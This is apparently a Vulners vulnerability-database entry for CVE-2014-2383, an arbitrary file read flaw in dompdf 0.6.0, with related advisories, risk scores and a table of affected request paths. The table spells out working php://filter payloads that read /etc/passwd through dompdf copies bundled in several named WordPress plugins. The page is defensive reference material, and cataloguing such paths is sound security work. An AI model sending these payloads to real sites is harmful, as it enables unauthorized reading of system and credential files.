Lucene search
K

CVE-2014-2383

🗓️ 28 Apr 2014 00:00:00Reported by mitreType 
cve
 cve
🔗 web.nvd.nist.gov👁 103 Views🌐 WEB

dompdf.php bypasses chroot protection

Related
Detection
Refs
Paths
ReporterTitlePublishedViews
Family
0day.today
dompdf 0.6.0 Arbitrary File Read Vulnerability
24 Apr 201400:00
zdt
Circl
CVE-2014-2383
24 Apr 201400:00
circl
Cvelist
CVE-2014-2383
28 Apr 201400:00
cvelist
Debian CVE
CVE-2014-2383
28 Apr 201400:00
debiancve
Exploit DB
dompdf 0.6.0 - 'dompdf.php?read' Arbitrary File Read
24 Apr 201400:00
exploitdb
exploitpack
dompdf 0.6.0 - dompdf.php?read Arbitrary File Read
24 Apr 201400:00
exploitpack
Friends Of PHP
PHP remote file inclusion vulnerability in dompdf.php
10 Mar 201421:57
friendsofphp
Friends Of PHP
PHP remote file inclusion vulnerability in dompdf.php
10 Mar 201421:57
friendsofphp
Friends Of PHP
Arbitrary file read in dompdf
10 Mar 201421:57
friendsofphp
Friends Of PHP
Information Disclosure
7 Dec 201500:07
friendsofphp
Rows per page
NVD
Node
dompdfdompdfRange0.6.0beta3
ParameterPositionPathDescriptionCWE
input_filequery param/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=<PATH_TO_THE_FILE>Arbitrary file read via dompdf.php input_file parameter using php://filterCWE-200
input_filequery param/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwdArbitrary file read via dompdf.php input_file parameter using php://filterCWE-200
input_filequery param/wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwdArbitrary file read via dompdf.php input_file parameter using php://filterCWE-200
input_filequery param/wp-content/plugins/abstract-submission/dompdf-0.5.1/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwdArbitrary file read via dompdf.php input_file parameter using php://filterCWE-200
input_filequery param/wp-content/plugins/post-pdf-export/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwdArbitrary file read via dompdf.php input_file parameter using php://filterCWE-200
input_filequery param/wp-content/plugins/blogtopdf/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwdArbitrary file read via dompdf.php input_file parameter using php://filterCWE-200
input_filequery param/wp-content/plugins/gboutique/library/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwdArbitrary file read via dompdf.php input_file parameter using php://filterCWE-200
input_filequery param/wp-content/plugins/wp-ecommerce-shop-styling/includes/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwdArbitrary file read via dompdf.php input_file parameter using php://filterCWE-200

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 May 2026 22:30Current
8.3High risk
Vulners AI Score8.3
CVSS 26.8
EPSS0.5489
103